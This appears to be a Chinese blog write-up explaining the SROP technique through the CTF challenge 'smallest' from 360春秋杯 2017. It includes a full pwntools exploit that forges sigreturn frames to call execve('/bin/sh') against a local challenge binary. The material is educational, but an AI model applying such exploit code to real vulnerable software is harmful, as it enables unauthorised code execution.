srop attack 技术探讨

最近做了几道 srop 的题,记录下相关知识,顺带复现一道经典例题。

原理

能进行 srop attack 这种攻击的关键就是 Signal 机制,网上有很多对这个机制的剖析,包括 wiki,都很详细,没必要再细说。

这里只作最简单的概述:在 Linux 中,当进程接收到一个信号时,内核会暂停进程的执行,并执行信号处理程序,例如 ‘sigaction’,其中会将当前程序的上下文信息(所有寄存器的值,返回地址等…)保存到栈上,这一段内存被称为 sigreturn frame。如果信号处理程序执行完毕后需要将控制权还给原始程序,则需要使用 ‘rt_sigreturn’ 系统调用(重点关注这个系统调用)。

(下面都是基于 x64 架构哈… 32位的程序也同理)对应调用 ‘rt_sigreturn’ 的是 15 号系统调用,就是做题中得设法利用的东西(将 rax 的值改成 15 后执行 syscall…),即根据栈上的内容恢复程序上下文。 srop attack 的本质就是通过在栈上伪造一个 sigreturn frame,让程序直接按着我们构造的 frame 去恢复现场,实现重写所有寄存器,这也是一般 rop 做不到的。

360春秋杯_2017_smallest

主要的代码就六行汇编,执行 read 系统调用,实现往栈顶写 0x400 字节。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uA7lrkG8-1680275279982)(1-imgs/image-20230331174034272.png)]

下面直接开始分析 exp 了,比较绕,尽量讲清楚详细点(不想作图了,我是蓝狗…

start 函数开始的地址是 0x4000B0。每次执行 start 函数都能从栈顶往下写。

程序执行 start 函数,先往栈顶写入 p64(start) *3,这样就能控制程序不退出(程序中只有 ret 指令能影响栈顶指针),且多次从标准输入中读取。

程序返回,第二次执行 start,写入 ‘\xb3’,使得 rax –> 1 (read 函数会将读入的字节数赋值给 rax),改栈上数据的低一字节,即 0x4000B0 --> 0x4000B3,使得程序返回到 0x4000B3,跳过 ‘xor rax,rax’,使 rax 保持为1。

程序返回,第三次执行 <start + 0x3>,因为此时 rax == 0,所以这时调用 syscall 将会执行 write(1, &rsp, 0x400),将会泄露栈上的数据(作用是为了能在后面布置新的 rsp 和计算我们写入的 ‘/bin/sh’ 的位置)。如图,泄了一个合法的栈地址 stack_addr,以及,rax == 1,确实执行了 write 的系统调用。
在这里插入图片描述

程序返回,第四次执行 start,写入: 程序下一跳的返回地址 p64(start) + 占位符 p64(0) + 构造的 frame,目的是让程序能继续跳回 start,并往栈中塞入第一个伪造的 frame (姑且称作read_frame,有什么效果 在下面讲)。

程序返回,第五次执行 start,写入 p64(syscall) + ‘\x00’ *(15 - 8),这时 rax 的值也变成了15。

下一跳,执行 syscall,进行 ‘rt_sigreturn’ 通过 read_frame 的数据来重新布置寄存器,效果如下:

  1. rax --> 0, rdi --> 0, rsi --> stack_addr, rdx -->0x400, rip --> syscall, rsp --> stack_addr
  2. 解释一下,程序下一跳将会执行 read(0, stack_addr, 0x400) + 控制栈顶指针指向stack_addr。

下一跳,执行 read 的系统调用。我们接着写入:下一跳的返回地址 p64(start) + 占位符 p64(0) + 构造的 frame + ‘/bin/sh\x00’ (总共 0x110 字节,划重点,等会考)。

程序返回,第六次执行 start,写入 p64(syscall) + ‘\x00’ *(15 - 8),这时 rax 的值又变成了15。

下一跳,执行 syscall,进行 ‘rt_sigreturn’ 通过 read_frame 的数据来重新布置寄存器,效果如下:

1.rdi --> stack_addr + 0x110 - 0x8, 指向的当然是之前写入的 ‘/bin/sh\x00’ 了,它在刚刚发送的 payload 中的偏移,自然是等于 payload的总长度 - 字符串本身长度 了。

2.rax --> 59, rsi --> 0, rdx --> 0, rip --> syscall (很明显了吧,execve(‘/bin/sh\x00’, 0, 0)

下一跳,执行 syscall,自然就是 getshell 了。

exp 如下:

#coding=utf-8
from pwn import *
context.log_level = 'debug'
context.arch = "amd64"
elf = './smallest'
p = process(elf)

def debug():
	gdb.attach(p)
	pause()

# 写入三个 start 起始地址
start = 0x4000b0
syscall = 0x4000be
payload = p64(start) *3
sleep(0.1)
p.send(payload)

# 将下一跳的返回地址改写为0x4000b3 跳过'xor rax,rax' 使rax保持为1
# debug()
sleep(0.1)
p.send("\xb3")
# 接收 程序执行write系统调用泄露的栈上数据
stack_addr = u64(p.recv()[8:16])
log.info("stack_addr: " + hex(stack_addr))
 
# 得到一个栈地址后 让rsp指向此栈地址
# read_frame 代表 read(0,stack_addr,0x400)  
#-----------------------------------------
read_frame = SigreturnFrame(kernel="amd64")
read_frame.rax = constants.SYS_read
read_frame.rdi = 0x0
read_frame.rsi = stack_addr
read_frame.rdx = 0x400
read_frame.rsp = stack_addr
read_frame.rip = syscall
#-----------------------------------------
read_frame_payload = p64(start) 
read_frame_payload += p64(0) 
read_frame_payload += str(read_frame)
sleep(0.1)
p.send(read_frame_payload)
 
# 通过控制写入的字符数量,调用sigreturn
# debug()
goto_sigreturn_payload = p64(syscall) + "\x00"*(15 - 8) # rax=15,syscall --> sigreturn
sleep(0.1)
p.send(goto_sigreturn_payload)

# execve_frame 
# call execv("/bin/sh",0,0)
#-----------------------------------------
execve_frame = SigreturnFrame(kernel="amd64")
execve_frame.rax = constants.SYS_execve
execve_frame.rdi = stack_addr + 0x110 - 0x8 # "/bin/sh\x00" addr 
execve_frame.rsi = 0x0
execve_frame.rdx = 0x0
execve_frame.rsp = stack_addr
execve_frame.rip = syscall
#-----------------------------------------
execve_frame_payload = p64(start) 
execve_frame_payload += p64(0) 
execve_frame_payload += str(execve_frame)
execve_frame_payload += "/bin/sh\x00"
# 查看 payload 长度,方便计算 'bin/sh\x00' 的相对偏移
log.info("offset: " + hex(len(execve_frame_payload)))
sleep(0.1)
p.send(execve_frame_payload)

sleep(0.1)
p.send(goto_sigreturn_payload)  

p.interactive()

一些废话

很多师傅都发现了这么一个问题,我们为了使 rax=15,填充了 7个’\x00’ 在后面,有的 exp 用 ‘a’ 填充,肯定影响到了我们在下面的构造的 frame,但也确实是都能通的。对比下 frame 的结构表和 SigreturnFrame 这个工具的官方文档就明白了,那个位置对应的其实是 ‘uc_flags’,确实瞎改这个也没出啥大问题(程序没 dump 就行…),主要也没影响到后面我们想控制的寄存器的值。

至于是用 ‘\x00’ 还是 ‘a’ 来填充… 其实我们在重写寄存器后,他们都不是原来的值了,毕竟没有保留原现场,我们不知道本来是什么,我们做的只是直接利用伪造的 frame “恢复现场”罢了。

看了这个视频之后理的,感谢师傅,讲得很深刻。
SROP技术探讨 | PWN_哔哩哔哩_bilibili

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值